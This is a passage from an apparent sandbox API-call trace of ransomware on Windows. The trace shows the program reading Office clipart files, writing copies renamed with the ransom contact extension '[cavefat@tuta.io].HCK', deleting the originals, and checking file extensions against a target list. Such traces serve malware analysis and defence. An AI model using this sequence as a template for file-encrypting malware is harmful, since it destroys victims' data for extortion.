dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.623] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=23596) returned 1 [0165.623] CloseHandle (hObject=0x3ac) returned 1 [0165.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0165.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.639] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.639] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.645] GetLastError () returned 0x0 [0165.645] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0165.648] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0165.649] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.649] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.649] SetEndOfFile (hFile=0x308) returned 1 [0165.653] CloseHandle (hObject=0x308) returned 1 [0165.656] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.656] SetEndOfFile (hFile=0x354) returned 1 [0165.660] CloseHandle (hObject=0x354) returned 1 [0165.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0165.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.664] lstrlenW (lpString=".doc") returned 4 [0165.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.664] lstrlenW (lpString=".docx") returned 5 [0165.664] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0165.664] lstrlenW (lpString=".pdf") returned 4 [0165.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.664] lstrlenW (lpString=".xls") returned 4 [0165.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.664] lstrlenW (lpString=".xlsx") returned 5 [0165.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0165.664] lstrlenW (lpString=".ppt") returned 4 [0165.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.664] lstrlenW (lpString=".zip") returned 4 [0165.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.664] lstrlenW (lpString=".rar") returned 4 [0165.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.664] lstrlenW (lpString=".bz2") returned 4 [0165.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString=".7z") returned 3 [0165.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString=".dbf") returned 4 [0165.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString=".1cd") returned 4 [0165.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString=".jpg") returned 4 [0165.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString=".doc") returned 4 [0165.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString=".docx") returned 5 [0165.665] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0165.665] lstrlenW (lpString=".pdf") returned 4 [0165.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString=".xls") returned 4 [0165.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.665] lstrlenW (lpString=".xlsx") returned 5 [0165.665] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0165.665] lstrlenW (lpString=".ppt") returned 4 [0165.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString=".zip") returned 4 [0165.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.665] lstrlenW (lpString=".rar") returned 4 [0165.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString=".bz2") returned 4 [0165.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString=".7z") returned 3 [0165.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString=".dbf") returned 4 [0165.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString=".1cd") returned 4 [0165.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0165.665] lstrlenW (lpString=".jpg") returned 4 [0165.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.665] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.665] lstrlenW (lpString="J0105238.WMF") returned 12 [0165.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.672] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17172) returned 1 [0165.672] CloseHandle (hObject=0x354) returned 1 [0165.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0165.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.685] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.685] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0165.693] GetLastError () returned 0x0 [0165.693] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4314, lpOverlapped=0x0) returned 1 [0165.697] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4320, lpOverlapped=0x0) returned 1 [0165.698] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.698] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.698] SetEndOfFile (hFile=0x388) returned 1 [0165.703] CloseHandle (hObject=0x388) returned 1 [0165.705] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.705] SetEndOfFile (hFile=0x308) returned 1 [0165.708] CloseHandle (hObject=0x308) returned 1 [0165.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString=".doc") returned 4 [0165.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString=".docx") returned 5 [0165.714] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0165.714] lstrlenW (lpString=".pdf") returned 4 [0165.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString=".xls") returned 4 [0165.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.714] lstrlenW (lpString=".xlsx") returned 5 [0165.714] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0165.714] lstrlenW (lpString=".ppt") returned 4 [0165.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString=".zip") returned 4 [0165.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.714] lstrlenW (lpString=".rar") returned 4 [0165.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString=".bz2") returned 4 [0165.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString=".7z") returned 3 [0165.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString=".dbf") returned 4 [0165.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString=".1cd") returned 4 [0165.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString=".jpg") returned 4 [0165.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString=".doc") returned 4 [0165.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString=".docx") returned 5 [0165.714] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0165.714] lstrlenW (lpString=".pdf") returned 4 [0165.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString=".xls") returned 4 [0165.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.714] lstrlenW (lpString=".xlsx") returned 5 [0165.714] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0165.714] lstrlenW (lpString=".ppt") returned 4 [0165.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.714] lstrlenW (lpString=".zip") returned 4 [0165.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.714] lstrlenW (lpString=".rar") returned 4 [0165.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.715] lstrlenW (lpString=".bz2") returned 4 [0165.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.715] lstrlenW (lpString=".7z") returned 3 [0165.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.715] lstrlenW (lpString=".dbf") returned 4 [0165.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.715] lstrlenW (lpString=".1cd") returned 4 [0165.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0165.715] lstrlenW (lpString=".jpg") returned 4 [0165.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.715] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.715] lstrlenW (lpString="J0105250.WMF") returned 12 [0165.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.720] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4628) returned 1 [0165.720] CloseHandle (hObject=0x354) returned 1 [0165.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0165.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0165.737] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.737] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0165.744] GetLastError () returned 0x0 [0165.744] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1214, lpOverlapped=0x0) returned 1 [0165.746] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1220, lpOverlapped=0x0) returned 1 [0165.747] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.747] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.747] SetEndOfFile (hFile=0x360) returned 1 [0165.750] CloseHandle (hObject=0x360) returned 1 [0165.750] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.750] SetEndOfFile (hFile=0x394) returned 1 [0165.754] CloseHandle (hObject=0x394) returned 1 [0165.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0165.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.763] lstrlenW (lpString=".doc") returned 4 [0165.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.763] lstrlenW (lpString=".docx") returned 5 [0165.764] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0165.764] lstrlenW (lpString=".pdf") returned 4 [0165.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString=".xls") returned 4 [0165.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.764] lstrlenW (lpString=".xlsx") returned 5 [0165.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0165.764] lstrlenW (lpString=".ppt") returned 4 [0165.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.764] lstrlenW (lpString=".zip") returned 4 [0165.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.764] lstrlenW (lpString=".rar") returned 4 [0165.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString=".bz2") returned 4 [0165.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString=".7z") returned 3 [0165.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.764] lstrlenW (lpString=".dbf") returned 4 [0165.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.764] lstrlenW (lpString=".1cd") returned 4 [0165.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.764] lstrlenW (lpString=".jpg") returned 4 [0165.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.764] lstrlenW (lpString=".doc") returned 4 [0165.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString=".docx") returned 5 [0165.764] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0165.764] lstrlenW (lpString=".pdf") returned 4 [0165.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString=".xls") returned 4 [0165.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.764] lstrlenW (lpString=".xlsx") returned 5 [0165.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0165.764] lstrlenW (lpString=".ppt") returned 4 [0165.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.764] lstrlenW (lpString=".zip") returned 4 [0165.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.764] lstrlenW (lpString=".rar") returned 4 [0165.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString=".bz2") returned 4 [0165.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.764] lstrlenW (lpString=".7z") returned 3 [0165.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.765] lstrlenW (lpString=".dbf") returned 4 [0165.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.765] lstrlenW (lpString=".1cd") returned 4 [0165.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0165.765] lstrlenW (lpString=".jpg") returned 4 [0165.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.765] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.765] lstrlenW (lpString="J0105280.WMF") returned 12 [0165.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.770] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=11540) returned 1 [0165.770] CloseHandle (hObject=0x364) returned 1 [0165.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0165.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 